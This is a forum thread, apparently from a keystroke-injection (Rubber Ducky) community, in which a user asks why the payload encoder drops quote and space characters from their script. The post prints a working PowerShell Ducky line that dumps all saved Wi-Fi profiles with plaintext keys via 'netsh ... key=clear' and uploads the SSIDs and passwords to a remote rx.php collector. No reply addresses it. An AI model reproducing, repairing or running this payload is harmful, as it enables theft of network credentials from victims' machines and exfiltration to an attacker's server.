Jump to content

encoder drops chars which fails script


voidnecron_

Recommended Posts

Hi all,

I've created a ducky script which works fine when I execute the commands by hand, but fails after being encoded and run with the duck.
The line in the code is:

STRING $d=netsh wlan show profiles|sls -Pattern 'All User'|Foreach{$_.ToString()};$c=$d|Foreach{$_.Replace('    All User Profile     : ',$null)};$z=ForEach($w in $c){netsh wlan show profiles $w key=clear};$p=$z|sls -Pattern 'SSID name','Key Content';(New-Object Net.WebClient).UploadString('http://IP_REMOVED/rx.php', $p)

However the quote between -Pattern and All User is being dropped, as well as a single space from '    All User Profile'.

Does anyone know why the encoding fails/does this? Bug in encoder?

Cheers,
Void

Link to comment
Share on other sites

  • 3 weeks later...

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...